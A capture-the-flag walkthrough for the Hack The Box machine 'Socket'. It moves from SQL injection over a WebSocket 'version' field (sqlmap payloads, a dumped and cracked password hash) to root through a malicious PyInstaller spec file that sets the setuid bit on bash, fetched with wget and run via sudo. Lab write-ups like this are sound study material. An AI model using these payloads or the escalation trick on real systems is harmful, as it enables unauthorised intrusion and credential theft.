Scanning
> TARGET=10.129.1.248 && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://qreader.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
5789/tcp open unknown syn-ack ttl 63
| fingerprint-strings:
| GenericLines:
| HTTP/1.1 400 Bad Request
| Date: Sun, 26 Mar 2023 19:55:57 GMT
| Server: Python/3.10 websockets/10.4
| Content-Length: 77
| Content-Type: text/plain
| Connection: close
| Failed to open a WebSocket connection: did not receive a valid HTTP request.
| GetRequest:
| HTTP/1.1 400 Bad Request
| Date: Sun, 26 Mar 2023 19:55:58 GMT
| Server: Python/3.10 websockets/10.4
| Content-Length: 77
| Content-Type: text/plain
| Connection: close
| Failed to open a WebSocket connection: did not receive a valid HTTP request.
| HTTPOptions:
| HTTP/1.1 400 Bad Request
| Date: Sun, 26 Mar 2023 19:55:59 GMT
| Server: Python/3.10 websockets/10.4
| Content-Length: 77
| Content-Type: text/plain
| Connection: close
| Failed to open a WebSocket connection: did not receive a valid HTTP request.
| Help:
| HTTP/1.1 400 Bad Request
| Date: Sun, 26 Mar 2023 19:56:19 GMT
| Server: Python/3.10 websockets/10.4
| Content-Length: 77
| Content-Type: text/plain
| Connection: close
| Failed to open a WebSocket connection: did not receive a valid HTTP request.
| RTSPRequest:
| HTTP/1.1 400 Bad Request
| Date: Sun, 26 Mar 2023 19:56:01 GMT
| Server: Python/3.10 websockets/10.4
| Content-Length: 77
| Content-Type: text/plain
| Connection: close
| Failed to open a WebSocket connection: did not receive a valid HTTP request.
| SSLSessionReq:
| HTTP/1.1 400 Bad Request
| Date: Sun, 26 Mar 2023 19:56:20 GMT
| Server: Python/3.10 websockets/10.4
| Content-Length: 77
| Content-Type: text/plain
| Connection: close
|_ Failed to open a WebSocket connection: did not receive a valid HTTP request.
- Domain:
qreader.htb
- Subdomain, dirsearch didn’t find anything
- Tampering the webapp didn’t find anything
WebSocket enum
- Connect to the web socket at 5789
┌──(root㉿kali)-[~/workspace/Socket]
└─# wscat --connect ws://qreader.htb:5789
Connected (press CTRL+C to quit)
> {}
< {"paths": {"/update": "Check for updates", "/version": "Get version information"}}
Disconnected (code: 1000, reason: "")
wscat --connect ws://qreader.htb:5789/version
Connected (press CTRL+C to quit)
> {"version":"10.4"}
< {"message": "Invalid version!"}
Disconnected (code: 1000, reason: "")
SQLi: user flag
- A sqli vulnerability can be found in the version field
{"version":"<sqli>"}
def send_ws(payload):
ws = create_connection(ws_server)
message = unquote(payload).replace('\'','\\\"') # modify this line
data = '{"version":"%s"}' % message
ws.send(data)
resp = ws.recv()
ws.close()
if resp:
return resp
else:
return ''
> sqlmap -u "http://localhost:8081/?id=*" --risk=3 --level=5 --batch
qlmap identified the following injection point(s) with a total of 242 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: http://localhost:8081/?id=' OR NOT 5698=5698-- aDqL
Type: time-based blind
Title: SQLite > 2.0 OR time-based blind (heavy query)
Payload: http://localhost:8081/?id=' OR 3017=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))-- GMtz
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: http://localhost:8081/?id=' UNION ALL SELECT NULL,CHAR(113,118,120,122,113)||CHAR(119,87,120,89,109,72,97,88,89,84,65,111,119,69,70,98,89,118,89,112,90,116,69,87,98,115,80,70,71,118,116,65,121,102,111,108,66,122,87,98)||CHAR(113,113,118,98,113),NULL,NULL-- gdkB
# dump the user table
> sqlmap -u "http://localhost:8081/?id=*" --risk=3 --level=5 --batch --dump
Table: users
[1 entry]
+----+-------+----------------------------------+----------+
| id | role | password | username |
+----+-------+----------------------------------+----------+
| 1 | admin | 0c090c365fa0559b151a43e0fea39710 | admin |
+----+-------+----------------------------------+----------+
- Crack this on crackstation:
denjanjade122566
- The username is not admin, look at the following table to find the admin’s name:
tkeller
able: answers
[2 entries]
+----+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------+-------------+---------------+
| id | answer | status | answered_by | answered_date |
+----+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------+-------------+---------------+
| 1 | Hello Json,\\n\\nAs if now we support PNG formart only. We will be adding JPEG/SVG file formats in our next version.\\n\\nThomas Keller | PENDING | admin | 17/08/2022 |
| 2 | Hello Mike,\\n\\n We have confirmed a valid problem with handling non-ascii charaters. So we suggest you to stick with ascci printable characters for now!\\n\\nThomas Keller | PENDING | admin | 25/09/2022 |
+----+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------+-------------+---------------+
- login to get the user flag
tkeller@socket:~$ ls
user.txt
tkeller@socket:~$ cat user.txt
a946e6f65c460c67d3fc1ee3c117f47c
PE: root
- Upload pspy64 and monitor running processes
2023/03/27 02:00:10 CMD: UID=1000 PID=1181 | python3 /var/www/ws_server/server.py
2023/03/27 02:00:10 CMD: UID=1000 PID=1180 | python3 /var/www/main/main.py
2023/03/27 02:00:10 CMD: UID=0 PID=1169 | PM2 v5.2.0: God Daemon (/root/.pm2)
tkeller@socket:~$ sudo -l
Matching Defaults entries for tkeller on socket:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User tkeller may run the following commands on socket:
(ALL : ALL) NOPASSWD: /usr/local/sbin/build-installer.sh
- Check the shell script: /usr/local/sbin/build-installer.sh
#!/bin/bash
if [ $# -ne 2 ] && [[ $1 != 'cleanup' ]]; then
/usr/bin/echo "No enough arguments supplied"
exit 1;
fi
action=$1
name=$2
ext=$(/usr/bin/echo $2 |/usr/bin/awk -F'.' '{ print $(NF) }')
if [[ -L $name ]];then
/usr/bin/echo 'Symlinks are not allowed'
exit 1;
fi
if [[ $action == 'build' ]]; then
if [[ $ext == 'spec' ]] ; then
/usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
/home/svc/.local/bin/pyinstaller $name
/usr/bin/mv ./dist ./build /opt/shared
else
echo "Invalid file format"
exit 1;
fi
elif [[ $action == 'make' ]]; then
if [[ $ext == 'py' ]] ; then
/usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
/root/.local/bin/pyinstaller -F --name "qreader" $name --specpath /tmp
/usr/bin/mv ./dist ./build /opt/shared
else
echo "Invalid file format"
exit 1;
fi
elif [[ $action == 'cleanup' ]]; then
/usr/bin/rm -r ./build ./dist 2>/dev/null
/usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
/usr/bin/rm /tmp/qreader* 2>/dev/null
else
/usr/bin/echo 'Invalid action'
exit 1;
fi
- Construct a spec file like below so that the cmd can be executed when building
- The
shell.py
can contain anything, it just needs to be present on the system
# -*- mode: python ; coding: utf-8 -*-
import os
os.system("chmod +s /usr/bin/bash")
block_cipher = None
a = Analysis(
['shell.py'],
pathex=[],
binaries=[],
datas=[],
hiddenimports=[],
hookspath=[],
hooksconfig={},
runtime_hooks=[],
excludes=[],
win_no_prefer_redirects=False,
win_private_assemblies=False,
cipher=block_cipher,
noarchive=False,
)
pyz = PYZ(a.pure, a.zipped_data, cipher=block_cipher)
exe = EXE(
pyz,
a.scripts,
[],
exclude_binaries=True,
name='shell',
debug=False,
bootloader_ignore_signals=False,
strip=False,
upx=True,
console=True,
disable_windowed_traceback=False,
argv_emulation=False,
target_arch=None,
codesign_identity=None,
entitlements_file=None,
)
coll = COLLECT(
exe,
a.binaries,
a.zipfiles,
a.datas,
strip=False,
upx=True,
upx_exclude=[],
name='shell',
)
- Run the following to trigger the malicious code
> wget http://<ip>/shell.py -O shell.py && wget http://<ip>/shell.spec -O shell.spec && sudo /usr/local/sbin/build-installer.sh build shell.spec
- Prompt a root shell to get the root flag
tkeller@socket:~$ ls -ls /usr/bin/bash
1364 -rwsr-sr-x 1 root root 1396520 Jan 6 2022 /usr/bin/bash
tkeller@socket:~$ bash -p
bash-5.1# id
uid=1001(tkeller) gid=1001(tkeller) euid=0(root) egid=0(root) groups=0(root),1001(tkeller),1002(shared)
bash-5.1# cat /root/root.txt
b351d336de66d64037f29a9b3ac96246